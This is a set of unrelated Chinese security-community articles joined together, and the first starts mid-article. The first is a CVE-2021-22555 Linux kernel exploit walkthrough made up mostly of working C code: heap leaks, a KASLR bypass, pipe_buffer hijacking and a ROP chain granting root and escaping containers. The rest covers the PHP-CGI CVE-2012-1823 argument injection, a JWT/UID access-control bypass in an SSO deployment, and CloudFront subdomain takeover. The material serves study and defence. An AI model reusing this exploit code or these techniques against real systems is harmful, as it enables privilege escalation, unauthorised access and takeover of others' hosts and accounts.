printf("[*] Leaking primary message...\n");
if (peek_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), 1) < 0)
goto err_rmid;
// Check if the leak is valid.
if (*(int *)&msg_fake.mtext[PAGE_SIZE] != MSG_TAG) {
printf("[-] Error could not leak primary message.\n");
goto err_rmid;
}
// The primary message contains a pointer to the secondary message.
msg = (struct msg_msg *)&msg_fake.mtext[PAGE_SIZE - MSG_MSG_SIZE];
kheap_addr = msg->m_list_next;
if (kheap_addr & (SECONDARY_SIZE - 1))
kheap_addr = msg->m_list_prev;
// Calculate the address of the fake secondary message.
kheap_addr -= SECONDARY_SIZE;
printf("[+] kheap_addr: %" PRIx64 "\n", kheap_addr);
**3-3 绕过KASLR**
**目标** ：泄露内核基址。
**方法** ：伪造fake辅助消息，`msg_msg->m_list->next == msg_msg->m_list->pre ==
fake辅助消息`；利用主消息2释放辅助消息，使用`pipefd`函数分配`pipe_buffer`结构体重新占据fake辅助消息堆块；通过读skb泄露`anon_pipe_buf_ops`地址，绕过KASLR。`pipe_buffer`结构体中ops成员指向全局变量`anon_pipe_buf_ops`。
为什么不用[tty_struct](https://elixir.bootlin.com/linux/v4.19.98/source/include/linux/tty.h#L283)
来泄露？
printf("[*] Freeing fake secondary messages...\n");
free_skbuff(ss, secondary_buf, sizeof(secondary_buf));
// Put kheap_addr at m_list_next & m_list_prev so that list_del() is possible.
printf("[*] Spraying fake secondary messages...\n");
memset(secondary_buf, 0, sizeof(secondary_buf));
build_msg_msg((void *)secondary_buf, kheap_addr, kheap_addr, 0, 0);
if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
goto err_rmid;
printf("[*] Freeing sk_buff data buffer...\n");
if (read_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), MTYPE_FAKE) < 0)
goto err_rmid;
printf("[*] Spraying pipe_buffer objects...\n");
for (int i = 0; i < NUM_PIPEFDS; i++) {
if (pipe(pipefd[i]) < 0) {
perror("[-] pipe");
goto err_rmid;
}
// Write something to populate pipe_buffer.
if (write(pipefd[i][1], "pwn", 3) < 0) {
perror("[-] write");
goto err_rmid;
}
}
printf("[*] Leaking and freeing pipe_buffer object...\n");
for (int i = 0; i < NUM_SOCKETS; i++) {
for (int j = 0; j < NUM_SKBUFFS; j++) {
if (read(ss[i][1], secondary_buf, sizeof(secondary_buf)) < 0) {
perror("[-] read");
goto err_rmid;
}
if (*(uint64_t *)&secondary_buf[0x10] != MTYPE_FAKE)
pipe_buffer_ops = *(uint64_t *)&secondary_buf[0x10];
}
}
kbase_addr = pipe_buffer_ops - ANON_PIPE_BUF_OPS;
printf("[+] anon_pipe_buf_ops: %" PRIx64 "\n", pipe_buffer_ops);
printf("[+] kbase_addr: %" PRIx64 "\n", kbase_addr);
**3-4 劫持控制流**
此时skb与`pipe_buffer`占据同一块内存，利用skb伪造`pipe_buffer->ops`指向本堆块，再伪造`pipe_buffer->ops->release`指向第1个ROPgadget，劫持控制流。
printf("[*] Spraying fake pipe_buffer objects...\n");
memset(secondary_buf, 0, sizeof(secondary_buf));
buf = (struct pipe_buffer *)&secondary_buf;
buf->ops = kheap_addr + 0x290;
ops = (struct pipe_buf_operations *)&secondary_buf[0x290];
#ifdef KERNEL_COS_5_4_89
// RAX points to &buf->ops.
// RCX points to &buf.
ops->release = kbase_addr + PUSH_RAX_JMP_QWORD_PTR_RCX;
#elif KERNEL_UBUNTU_5_8_0_48
// RSI points to &buf.
ops->release = kbase_addr + PUSH_RSI_JMP_QWORD_PTR_RSI_39;
#endif
build_krop(secondary_buf, kbase_addr, kheap_addr + 0x2B0);
if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
goto err_rmid;
// Trigger pipe_release().
printf("[*] Releasing pipe_buffer objects...\n");
for (int i = 0; i < NUM_PIPEFDS; i++) {
if (close(pipefd[i][0]) < 0) {
perror("[-] close");
goto err_rmid;
}
if (close(pipefd[i][1]) < 0) {
perror("[-] close");
goto err_rmid;
}
}
**ROP流程** ：调用`pipe_buffer->ops`时，rsi指向`pipe_buffer`地址，所以需构造ROP将RSI赋值给RSP
* （1）没有找到类似`mov rsp, rsi`和`push rsi; pop rsp`的gadget，只能先伪造`pipe_buffer->ops`函数表，`pipe_buffer->ops->release`指向gadget—`push rsi; jmp qword ptr [rsi + 0x39]`
* （2）在`RSI+0x39`处（`pipe_buffer+0x39`处）放置gadget—`pop rsp; ret;`
* （3）在`RSI`处（`pipe_buffer`处）放置gadget—`add rsp, 0xd0; ret;` 避免破坏`pipe_buffer+0x10 - 0x18`
* （4）在`RSI+0xd8`处（`pipe_buffer+0xd8`处）继续布置ROP链
* （5）先将RBP保存到`RSI+0x2b0`处（`pipe_buffer+0x2b0`处），注意，`enter 0, 0` 指令等同于 `push rbp; mov rbp, rsp` —— `rbp=rsp`，`enter 8, 0` 指令等同于 `push rbp; mov rbp, rsp; sub rsp, 8`
// Save RBP at scratchpad_addr.
*rop++ = kbase_addr + ENTER_0_0_POP_RBX_POP_R12_POP_RBP_RET; // enter 0, 0 ; pop rbx ; pop r12 ; pop rbp ; ret
*rop++ = scratchpad_addr; // R12
*rop++ = 0xDEADBEEF; // RBP
*rop++ = kbase_addr + MOV_QWORD_PTR_R12_RBX_POP_RBX_POP_R12_POP_RBP_RET; // mov qword ptr [r12], rbx; pop rbx; pop r12; pop r13; pop rbp; ret;
*rop++ = 0xDEADBEEF; // RBX
*rop++ = 0xDEADBEEF; // R12
*rop++ = 0xDEADBEEF; // R13
*rop++ = 0xDEADBEEF; // RBP
* （6）执行`commit_creds(prepare_kernel_cred(0))`提权
// commit_creds(prepare_kernel_cred(NULL))
*rop++ = kbase_addr + POP_RDI_RET; // pop rdi; ret;
*rop++ = 0; // RDI
*rop++ = kbase_addr + PREPARE_KERNEL_CRED;
*rop++ = kbase_addr + POP_RCX_RET; // pop rcx; ret;
*rop++ = 4; // RCX
*rop++ = kbase_addr + CMP_RCX_4_JNE_POP_RBP_RET; // cmp rcx, 4; jne 0x274579; pop rbp; ret;
*rop++ = 0xDEADBEEF; // RBP
*rop++ = kbase_addr + MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET; // mov rdi, rax; jne 0x788d41; xor eax, eax; ret;
*rop++ = kbase_addr + COMMIT_CREDS;
* （7）从docker、k8s容器（[kubernetes](https://zhuanlan.zhihu.com/p/29232090)）中逃逸，参考[ The Route to Root: Container Escape Using Kernel Exploitation](https://www.cyberark.com/resources/threat-research-blog/the-route-to-root-container-escape-using-kernel-exploitation) 和 [利用 Linux 内核漏洞实现 Docker 逃逸](https://paper.seebug.org/1602/)。本环境没有用到容器，这一步不执行也能提权。如果Linux运行在容器环境中，即使提权成功，由于所在的命名空间权限受限，即使是root也会受限（如文件系统只读等）。方法1，可以将初始进程（pid=1）的`task_struct->fs`（存放着进程根目录及工作目录）复制到exp所在的进程，就能将exp进程的根目录设置到宿主机中了，但这种方法可能环境变量不对（需采用完整路径执行程序）；方法2，`task_struct->nsproxy`指向当前进程的命名空间，可以用系统初始化时的全局命名空间 **`init_nsproxy`** 替换exp所在进程的`nsproxy`，执行`switch_task_namespaces(find_task_by_vpid(1), init_nsproxy)`即可。
// switch_task_namespaces(find_task_by_vpid(1), init_nsproxy)
*rop++ = kbase_addr + POP_RDI_RET; // pop rdi; ret;
*rop++ = 1; // RDI
*rop++ = kbase_addr + FIND_TASK_BY_VPID; // find_task_by_vpid
*rop++ = kbase_addr + POP_RCX_RET; // pop rcx; ret;
*rop++ = 4; // RCX
*rop++ = kbase_addr + CMP_RCX_4_JNE_POP_RBP_RET; // cmp rcx, 4; jne 0x274579; pop rbp; ret;
*rop++ = 0xDEADBEEF; // RBP
*rop++ = kbase_addr + MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET; // mov rdi, rax; jne 0x788d41; xor eax, eax; ret;
*rop++ = kbase_addr + POP_RSI_RET; // pop rsi; ret;
*rop++ = kbase_addr + INIT_NSPROXY; // RSI // init_nsproxy
*rop++ = kbase_addr + SWITCH_TASK_NAMESPACES; // switch_task_namespaces
* （8）恢复rbp/rsp，`RSI+0x2b0`处（`pipe_buffer+0x2b0`处）
// Load RBP from scratchpad_addr and resume execution.
*rop++ = kbase_addr + POP_RBP_RET; // pop rbp; ret;
*rop++ = scratchpad_addr - 0xA; // RBP
*rop++ = kbase_addr + PUSH_QWORD_PTR_RBP_A_POP_RBP_RET; // push qword ptr [rbp + 0xa]; pop rbp; ret;
*rop++ = kbase_addr + MOV_RSP_RBP_POP_RBP_RET; // mov rsp, rbp; pop rbp; ret;
**3-5 提权成功**
* * *
## 4\. 知识补充
**4-1 victim对象**
[pipe_buffer](https://elixir.bootlin.com/linux/v5.11.14/source/include/linux/pipe_fs_i.h#L26)
对象 ->
[pipe_buf_operations](https://elixir.bootlin.com/linux/v5.11.14/source/include/linux/pipe_fs_i.h#L93)
：包含全局函数表指针ops。
struct pipe_buffer {
struct page *page; // 读写pipe时, 实际上是读写page地址
unsigned int offset, len;
const struct pipe_buf_operations *ops; // <-------- 函数表
unsigned int flags;
unsigned long private;
};
struct pipe_buf_operations {
int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *); // 确保 pipe buffer 中的数据有效，有效则返回0，无效则返回负值错误码。
void (*release)(struct pipe_inode_info *, struct pipe_buffer *);// <-------- 释放 pipe buffer
bool (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);
bool (*get)(struct pipe_inode_info *, struct pipe_buffer *);
};
**pipe 操作函数表**
：[pipefifo_fops](https://elixir.bootlin.com/linux/v5.11.14/source/fs/pipe.c#L1201)
const struct file_operations pipefifo_fops = {
.open = fifo_open, // <------- open
.llseek = no_llseek,
.read_iter = pipe_read, // <------- read
.write_iter = pipe_write, // <------- write
.poll = pipe_poll,
.unlocked_ioctl = pipe_ioctl,
.release = pipe_release, // <------- release
.fasync = pipe_fasync,
.splice_write = iter_file_splice_write,
};
**[pipe_buffer](https://elixir.bootlin.com/linux/v5.11.14/source/include/linux/pipe_fs_i.h#L26)分配**：[alloc_pipe_info()](https://elixir.bootlin.com/linux/v5.11.14/source/fs/pipe.c#L766)
—— 分配大小为0x370（默认16个page，16*0x28=0x370），所以位于0x400堆块中。
**分配调用链**
：（1）[pipe()](https://elixir.bootlin.com/linux/v5.11.14/source/fs/pipe.c#L1013)
->
[do_pipe2()](https://elixir.bootlin.com/linux/v5.11.14/source/fs/pipe.c#L992)
->
[__do_pipe_flags()](https://elixir.bootlin.com/linux/v5.11.14/source/fs/pipe.c#L944)
->
[create_pipe_files()](https://elixir.bootlin.com/linux/v5.11.14/source/fs/pipe.c#L895)
->
[get_pipe_inode()](https://elixir.bootlin.com/linux/v5.11.14/source/fs/pipe.c#L863)
->
[alloc_pipe_info()](https://elixir.bootlin.com/linux/v5.11.14/source/fs/pipe.c#L766)
（2）[fifo_open()](https://elixir.bootlin.com/linux/v5.11.14/source/fs/pipe.c#L1090)
->
[alloc_pipe_info()](https://elixir.bootlin.com/linux/v5.11.14/source/fs/pipe.c#L766)
struct pipe_inode_info *alloc_pipe_info(void)
{
struct pipe_inode_info *pipe;
unsigned long pipe_bufs = PIPE_DEF_BUFFERS; // pipe_bufs = 16
struct user_struct *user = get_current_user();
unsigned long user_bufs;
unsigned int max_size = READ_ONCE(pipe_max_size);
pipe = kzalloc(sizeof(struct pipe_inode_info), GFP_KERNEL_ACCOUNT); // 分配 pipe_inode_info 结构
... ...
pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer), // 分配大小 16*sizeof(pipe_buffer) = 16*0x28 = 370, 注意也是 GFP_KERNEL_ACCOUNT 标志
GFP_KERNEL_ACCOUNT);
... ...
return NULL;
}
**[pipe_buffer](https://elixir.bootlin.com/linux/v5.11.14/source/include/linux/pipe_fs_i.h#L26)释放**：[pipe_release()](https://elixir.bootlin.com/linux/v5.11.14/source/fs/pipe.c#L699)
->
[put_pipe_info()](https://elixir.bootlin.com/linux/v5.11.14/source/fs/pipe.c#L695)
->
[free_pipe_info](https://elixir.bootlin.com/linux/v5.11.14/source/fs/pipe.c#L830)
->
[pipe_buf_release()](https://elixir.bootlin.com/linux/v5.11.14/source/include/linux/pipe_fs_i.h#L195)
调用`pipe_buffer->ops->release` 函数，可劫持控制流。
static inline void pipe_buf_release(struct pipe_inode_info *pipe,
struct pipe_buffer *buf)
{
const struct pipe_buf_operations *ops = buf->ops;
buf->ops = NULL;
ops->release(pipe, buf); // 劫持控制流
}
**4-2 spray对象**
**SKB喷射** ：采用`socketpair()`创建一对无名的、相互连接的套接字，`int socketpair(int domain, int
type, int protocol, int sv[2])`，函数成功则返回0， **创建好的套接字分别是sv[0]和sv[1]**
，失败则返回-1。可以往sv[0]中写，从sv[1]中读；或者从sv[1]中写，从sv[0]中读，相关函数为`write()`和`read()`。也可以调用`sendmsg()`和`recvmsg()`来发送和接收数据，用户参数是`msghdr`结构。本exp是采用`write()`和`read()`进行堆喷和释放的。
**4-3`GFP_KERNEL_ACCOUNT`标志**
为了使`xt_table_info`漏洞对象、spray对象、victim对象、占位对象位于同一cache，由于漏洞对象是用`GFP_KERNEL_ACCOUNT`标志分配的，所以其他对象也应该用`GFP_KERNEL_ACCOUNT`标志来分配（原作者指出，在linux
5.9之前，不同的slab被用于计数）。victim对象——`pipe_buffer`结构和占位对象——`msg_msg`结构（参见文章`[7]`中的分析）都是用`GFP_KERNEL_ACCOUNT`标志来分配的。
**4-4 64位系统下编译32位程序**
# gcc -m32 选项
$ sudo apt-get update
$ sudo apt-get purge libc6-dev
$ sudo apt-get install libc6-dev
$ sudo apt-get install libc6-dev-i386
* * *
## 参考
[1] <https://nvd.nist.gov/vuln/detail/CVE-2021-22555> —— 漏洞公告
[2] [CVE-2021-22555: Turning \x00\x00 into
10000$](https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html) —— writeup英文
[3] [CVE-2021-22555-exploit](https://github.com/google/security-research/blob/master/pocs/linux/cve-2021-22555/exploit.c) —— exp
[4] [CVE-2021-22555: 从 x00x00
到10000$奖金](https://www.freebuf.com/vuls/281115.html) —— writeup中文
[5] [隐藏十五年的漏洞：CVE-2021-22555
漏洞分析与复现](https://www.freebuf.com/articles/system/286366.html) —— writeup中文
[6] [CVE-2021-22555 linux内核提权](https://www.anquanke.com/post/id/247830) ——
writeup中文
[7] [Linux内核中利用msg_msg结构实现任意地址读写](https://www.anquanke.com/post/id/252558) ——
`msg_msg`结构的创建与读取，占位对象
[8]
[socketpair的用法和理解](https://blog.csdn.net/weixin_40039738/article/details/81095013)
—— `socketpair()` 函数，用于堆喷
[9] [Linux进程间通信（七）：消息队列
msgget()、msgsend()、msgrcv()、msgctl()](https://www.cnblogs.com/52php/p/5862114.html)
—— 创建`msg_msg`结构，用于堆喷
[10]
[Linux系统调用：pipe()系统调用源码分析](https://blog.csdn.net/Rong_Toa/article/details/116270704)
—— `pipe`堆喷
[11] [一、Netfilter简介](http://blog.chinaunix.net/uid-9829088-id-5790559.html) ——
Netfiler 背景知识
[12] [linux内核协议栈 netfilter 之 ip
层的table、rule、match、target结构分析](https://blog.csdn.net/wangquan1992/article/details/109391303)
—— Netfiler 背景知识
[13] [ The Route to Root: Container Escape Using Kernel
Exploitation](https://www.cyberark.com/resources/threat-research-blog/the-route-to-root-container-escape-using-kernel-exploitation) —— 容器逃逸方法 英文
[14] [利用 Linux 内核漏洞实现 Docker 逃逸](https://paper.seebug.org/1602/) —— 容器逃逸方法 中文 | 社区文章 |
作者：[ **phith0n@长亭科技**](https://www.leavesongs.com/PENETRATION/php-cgi-cve-2012-1823.html)
`CVE-2012-1823`出来时据说是“PHP远程代码执行漏洞”，曾经也“轰动一时”，当时的我只是刚踏入安全门的一个小菜，直到前段时间tomato师傅让我看一个案例，我才想起来这个漏洞。通过在[
**Vulhub**](https://github.com/phith0n/vulhub)中对这个漏洞环境的搭建与漏洞原理的分析，我觉得还挺有意思的，故写出一篇文章来，和大家分享。
#### PHP SAPI 与运行模式
首先，介绍一下PHP的运行模式。
下载PHP源码，可以看到其中有个目录叫sapi。sapi在PHP中的作用，类似于一个消息的“传递者”，比如我在[《Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写》](https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html)一文中介绍的fpm，他的作用就是接受Web容器通过fastcgi协议封装好的数据，并交给PHP解释器执行。
除了fpm，最常见的sapi应该是用于Apache的mod_php，这个sapi用于php和apache之间的数据交换。
php-cgi也是一个sapi。在远古的时候，web应用的运行方式很简单，web容器接收到http数据包后，拿到用户请求的文件（cgi脚本），并fork出一个子进程（解释器）去执行这个文件，然后拿到执行结果，直接返回给用户，同时这个解释器子进程也就结束了。基于bash、perl等语言的web应用多半都是以这种方式来执行，这种执行方式一般就被称为cgi，在安装Apache的时候默认有一个cgi-bin目录，最早就是放置这些cgi脚本用的。
但cgi模式有个致命的缺点，众所周知，进程的创建和调度都是有一定消耗的，而且进程的数量也不是无限的。所以，基于cgi模式运行的网站通常不能同时接受大量请求，否则每个请求生成一个子进程，就有可能把服务器挤爆。于是后来就有了fastcgi，fastcgi进程可以将自己一直运行在后台，并通过fastcgi协议接受数据包，执行后返回结果，但自身并不退出。
php有一个叫php-cgi的sapi，php-cgi有两个功能，一是提供cgi方式的交互，二是提供fastcgi方式的交互。也就说，我们可以像perl一样，让web容器直接fork一个php-cgi进程执行某脚本；也可以在后台运行`php-cgi -b 127.0.0.1:9000`（php-cgi作为fastcgi的管理器），并让web容器用fastcgi协议和9000交互。
那我之前说的fpm又是什么呢？为什么php有两个fastcgi管理器？php确实有两个fastcgi管理器，php-cgi可以以fastcgi模式运行，fpm也是以fastcgi模式运行。但fpm是php在5.3版本以后引入的，是一个更高效的fastcgi管理器，其诸多优点我就不多说了，可以自己去翻翻源码。因为fpm优点更多，所以现在越来越多的web应用使用php-fpm去运行php。
#### 历史成因
回到本漏洞。CVE-2012-1823就是php-cgi这个sapi出现的漏洞，我上面介绍了php-cgi提供的两种运行方式：cgi和fastcgi，本漏洞只出现在以cgi模式运行的php中。
这个漏洞简单来说，就是用户请求的querystring被作为了php-cgi的参数，最终导致了一系列结果。
探究一下原理，RFC3875中规定，当querystring中不包含没有解码的=号的情况下，要将querystring作为cgi的参数传入。所以，Apache服务器按要求实现了这个功能。
但PHP并没有注意到RFC的这一个规则，也许是曾经注意并处理了，处理方法就是web上下文中不允许传入参数。但在2004年的时候某个开发者发表过这么一段言论：
From: Rasmus Lerdorf <rasmus <at> lerdorf.com>
Subject: [PHP-DEV] php-cgi command line switch memory check
Newsgroups: gmane.comp.php.devel
Date: 2004-02-04 23:26:41 GMT (7 years, 49 weeks, 3 days, 20 hours and 39 minutes ago)
In our SAPI cgi we have a check along these lines:
if (getenv("SERVER_SOFTWARE")
|| getenv("SERVER_NAME")
|| getenv("GATEWAY_INTERFACE")
|| getenv("REQUEST_METHOD")) {
cgi = 1;
}
if(!cgi) getopt(...)
As in, we do not parse command line args for the cgi binary if we are
running in a web context. At the same time our regression testing system
tries to use the cgi binary and it sets these variables in order to
properly test GET/POST requests. From the regression testing system we
use -d extensively to override ini settings to make sure our test
environment is sane. Of course these two ideas conflict, so currently our
regression testing is somewhat broken. We haven't noticed because we
don't have many tests that have GET/POST data and we rarely build the cgi
binary.
The point of the question here is if anybody remembers why we decided not
to parse command line args for the cgi version? I could easily see it
being useful to be able to write a cgi script like:
#!/usr/local/bin/php-cgi -d include_path=/path
<?php
...
?>
and have it work both from the command line and from a web context.
As far as I can tell this wouldn't conflict with anything, but somebody at
some point must have had a reason for disallowing this.
-Rasmus
显然，这位开发者是为了方便使用类似`#!/usr/local/bin/php-cgi -d
include_path=/path`的写法来进行测试，认为不应该限制php-cgi接受命令行参数，而且这个功能不和其他代码有任何冲突。
于是，`if(!cgi) getopt(...)`被删掉了。
但显然，根据RFC中对于command line的说明，命令行参数不光可以通过`#!/usr/local/bin/php-cgi -d
include_path=/pat`h的方式传入php-cgi，更可以通过querystring的方式传入。
这就是本漏洞的历史成因。
#### 漏洞利用
那么，可控命令行参数，能做些什么事。
通过阅读源码，我发现cgi模式下有如下一些参数可用：
* -c 指定php.ini文件的位置
* -n 不要加载php.ini文件
* -d 指定配置项
* -b 启动fastcgi进程
* -s 显示文件源码
* -T 执行指定次该文件
* -h和-? 显示帮助
最简单的利用方式，当然就是`-s`，可以直接显示源码：
但阅读过我写的fastcgi那篇文章的同学应该很快就想到了一个更好的利用方法：通过使用`-d`指定`auto_prepend_file`来制造任意文件包含漏洞，执行任意代码：
注意，空格用`+`或`%20`代替，`=`用url编码代替。
#### CVE-2012-2311
这个漏洞被爆出来以后，PHP官方对其进行了修补，发布了新版本5.4.2及5.3.12，但这个修复是不完全的，可以被绕过，进而衍生出`CVE-2012-2311`漏洞。
PHP的修复方法是对`-`进行了检查：
if(query_string = getenv("QUERY_STRING")) {
decoded_query_string = strdup(query_string);
php_url_decode(decoded_query_string, strlen(decoded_query_string));
if(*decoded_query_string == '-' && strchr(decoded_query_string, '=') == NULL) {
skip_getopt = 1;
}
free(decoded_query_string);
}
可见，获取querystring后进行解码，如果第一个字符是-则设置skip_getopt，也就是不要获取命令行参数。
这个修复方法不安全的地方在于，如果运维对php-cgi进行了一层封装的情况下：
#!/bin/sh
exec /usr/local/bin/php-cgi $*
通过使用空白符加-的方式，也能传入参数。这时候querystring的第一个字符就是空白符而不是`-`了，绕过了上述检查。
于是，php5.4.3和php5.3.13中继续进行修改:
if((query_string = getenv("QUERY_STRING")) != NULL && strchr(query_string, '=') == NULL) {
/* we've got query string that has no = - apache CGI will pass it to command line */
unsigned char *p;
decoded_query_string = strdup(query_string);
php_url_decode(decoded_query_string, strlen(decoded_query_string));
for (p = decoded_query_string; *p && *p <= ' '; p++) {
/* skip all leading spaces */
}
if(*p == '-') {
skip_getopt = 1;
}
free(decoded_query_string);
}
先跳过所有空白符（小于等于空格的所有字符），再判断第一个字符是否是`-`。
#### 影响
这个漏洞在当年的影响应该说中等。因为PHP-CGI这个SAPI在漏洞出现的时间点，因为其性能等问题，已经在慢慢退出历史舞台了。但考虑到PHP这个在Web领域举足轻重的语言，跨越多年，用量巨大，很多老的设备、服务器仍在运行有漏洞的版本和PHP-CGI，所以影响也不能低估。
不过，在2017年的今天，我分析这个漏洞当然已经不能谈影响了，只是其思路确实比较有意思，又让我领会了一次阅读RFC的重要性。
* * * | 社区文章 |
### 简单介绍：
在一次某行动暂停之后，某单位重新对自身的业务进行了评估，系统业务使用SSO进行登录，而这个SSO登录后的子系统访问采用JWT进行认证，因此有了这一个漏洞的发生，漏洞利用较为简单，各位师傅请见谅。
**Oracle WebCenter**
在这个业务中，登陆口的校验是采用Oracle WebCenter进行认证的，也就是说在系统最初的登录，流量是走到Oracle
WebCenter中进行认证的。
Oracle
WebCenter是面向社交业务的用户参与平台。其上下文相关的协作工具可优化人员、信息和管理软件间连接，帮助员工更高效地协作，并可确保用户在其所处的业务流程环境下访问适当的信息。简单的来说它有点像一个简单的OA系统。
**JWT**
JTW全程是Json Web
Token,是目前最流行的跨域认证解决方案。之前遇到的JWT漏洞情况，可能大多数都是在一开始的登录验证下，通过修改token字段以三个点分割的BASE64字符串。
第一个字符串为JWT头，一般base64解码后长这样
{“kid”:”keys/3c3c2ea1c3f213f649dc9389dd71b851",”typ”:”JWT”,”alg”:”RS256"}
第二个字符串为账户
{"sub":"admin"}
第三个字符串为签名
签名一般不能直接用base64解出来，因为它可能常带有下划线，签名获取的过程稍微比较复杂，不过我们可以知道签名是为了防止数据被篡改，而签名使用的算法就是我们的哥字符串JWT头的Json字段alg。
大部分JWT常用的三种关于利用Token的攻击方式： **未校验签名，禁用hash，爆破弱秘钥**
此部分内容可以参考<https://xz.aliyun.com/t/2338>
其中，未校验签名的情况，我们可以直接修改的那个账户字符串，既
{"sub":"xxxx11111这里修改，然后重新生成Token，如果没有校验签名则可以进行越权"}
禁用Hash,既第一个JWTheader头的alg值为None,我们可以将HS256篡改为None，然后使用Python pyjwt进行Token的生成。
最后爆破弱秘钥是最常见的，也是比较现实的一种情况
利用脚本来进行爆破 <https://github.com/ticarpi/jwt_tool>
### 本次的场景
首先打开网页，需要通过SSO的oracle
webcenter认证，在进入系统中，存在许多业务，而对于子业务系统的认证，则采用的是JWT的认证。接下来将从流程来讲解此次漏洞的挖掘。
1、因为这里没有截图了，所以只能用文字描述。首先，在进入系统后，很多业务选项按钮，比如物流系统，金融系统。我们点击金融系统的时候，会发出第一个包，通过Oracle
Webcenter来校验当前账户是不是有效，如果有效，则返回一个Json格式的S。
2、在验证了当前的账户有效的时候，会发出第二个包，请求一个OAM接口想获取一个JWT
token，这个OAM接口会带上Cookie字段的Sessionid值，证明自己账户现在的状态真的是有效的，当这个OAM接口后接受SessionId的值后，就会返回一个JWT
authorizationToken值。
3、当获取了JWT authorizationToken值后，证明JWT认可了你这个账户了，那么此时系统在第三个包发生的时候自动带上JWT
authorizationToken字段放到header头去请求资源，此时系统返回UID等敏感信息
4、没错！越权来了。第三个包返回的信息其中的UID和JWT authorizationToken作为凭证来对这个子业务系统进行访问。但是这里的UID和JWT
authorizationToken并没有做严格校验，导致可以通过遍历UID来实现越权访问
看到这个是不是就是我们非常熟悉的JWT认证Token值，以点分割三个成三个的base64编码字符串，这个User Token作为这个子系统访问认证的最后一关
5、其实到第4步的时候，漏洞利用就结束了，其实就是一个简单的越权而已，但是我想把后面的几个过程也简单一下。既然成功越权了，那么这一步系统就开始逐渐返回属于这个系统原本的东西了。这里利用UID和Token获取系统的分组权限信息。
6、获取此账户在这个系统中未读取得信息
7、在get请求处获取了UID值，为了获取菜单信息。而我们也可以通过此处的越权，更方便的爆破ID。
8、获取baseinfo，账户的基本信息，内容
9、最后一个包，获取剩余信息，例如按钮，选项之类。
因此整个利用的漏洞非常简单，通过第7步的API来进行爆破，然后再逐步放入第4步的UID修改包中，那么就可以实现对此子业务系统的任意用户登录了。
越权前后的两个截图比较，多了两个功能，并且两张图的账户名都为AAA，原因是因为auth
Token记录的第二个base64字符串记录的就是账号信息，而这个账号信息从始至终都未改变，因此账户名不变，而权限管控在UID部分。也是比较不应该了。
### 修复
恢复authorizationToken，同时校验uid、user、authorizationToken中的用户是否一致
在渗透测试的时候，尽量不要放过每一个包，多看看抓包的history的记录。
对于菜鸡来说，渗透就在于细心与更细心罢了。
最后我认为推荐几篇关于JWT还不错的文章：
<https://www.freebuf.com/vuls/211842.html>
<https://www.jianshu.com/p/576dbf44b2ae>
<https://xz.aliyun.com/t/6776>
<https://mp.weixin.qq.com/s/xe8vOVhaysmgvxl-A3nkBA> | 社区文章 |
[TOC]
# 0x000前言
最近和表哥学挖洞，表哥教了我一手子域名劫持，感觉很简单而且知识点很少，但是前几天真的遇到了一个反而发现无法劫持，到最后一步cname解析的时候出了错误，于是恶补了一下相关知识，写下这个文章。文章内可能会有一些理解错误，欢迎各位大佬指出，谢谢。
# 0x001相关知识
## 1 CNAME DNS记录
别名记录，将域名解析到另外一个域名。不过这个解释对于我们劫持似乎没有帮助，我们需要的是cname在cdn中的应用
### CNAME在CDN中的应用
在CDN服务中储存了对于站点的cname后，如果一个用户向浏览器提供访问域名，cdn参与后，不再是域名->ip解析而是域名->cname解析，这样就导致了如果cname的指定域名如果有误的话，会跳转到错误地址。
## 2 CloudFront
[AWS CloudFront](https://aws.amazon.com/cloudfront/ "AWS CloudFront")
是一项快速内容分发网络 (CDN)
服务。可以通过将SSL证书和私钥上载到个人的CloudFront发行版，CloudFront就可以充当SSL代理。这意味着只要有人通过CloudFront请求个人的域，CloudFront就会提供个人的SSL证书。
创建一个cloudfront服务后，aws会生成一个随机域名，而用户可以访问该域名中的文件。看上去可以成功防护一些子域名劫持。但是cloudfront并不是一一映射，分配的随机域名并无专用的ipv4地址。它是多对多映射。这也就导致了其他客户也可以使用，配置对应域名的cname
# 0x002关于子域名劫持
## 导致子域名劫持的原因
以AWS
cloudfront为例，为了可以使客户可以跟快地访问网站，厂商在cloudfront生成了一个子域并对其管理。某天因为开销，关闭对于功能等中止了该服务，但是在中止服务的时候没有删除AWS
cloudfront上的cname记录，这些cname记录就会继续保留在AWS
cloudfront中，若此时有攻击者申请cname服务并且将厂商遗留下的子域名cname解析到自己的服务器，AWS
cloudfront便会直接调用厂商遗留的cname给攻击者。这样，攻击者便获得了对应子域，达到了子域劫持的目的。
## 发现子域名劫持
### 发现子域名
发现子域名的方法，我用的主要是两种：
一、Google Hacking语法
`site:*.target.com site:*.*.target.com site:*.*.*.target.com`
如图情况[
二、脚本检测
比较推荐的脚本有
1.[aquatone](https://github.com/michenriksen/aquatone "aquatone")
2.[JSFinder](https://github.com/Threezh1/JSFinder "JSFinder")
三、一些别的方法
这个在先知上有一些文章说了，我就不献丑了。
[如何高效的查询子域名？请使用这几个好方法](https://xz.aliyun.com/t/1168 "如何高效的查询子域名？请使用这几个好方法")
[深入了解子域名挖掘tricks](https://xz.aliyun.com/t/6617 "深入了解子域名挖掘tricks")
### 检验子域名劫持的可能
一般在发现子域名后，我是是直接写成json数据后放入aquatone里面跑，使用命令
`aquatone-takeover --domain example.com`
[
来进行初步验证，如果现实有vulnerable的值，也就是可能可劫持的域名后访问页面，来确认是否是一个已被放弃的域名，如显示
[
这里有一个github上的项目，上面集成了一些国外大厂域名的劫持可能性，案例以及各种讨论。
[can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz "can-i-take-over-xyz")
### 一个骚操作，利用网站自身的功能劫持子域名
有些网站对于子域名的防护做的很好，哪怕是已经放弃了也会禁止其他人对该域名声明，但是不代表他们自己无法声明。
比如intercom.
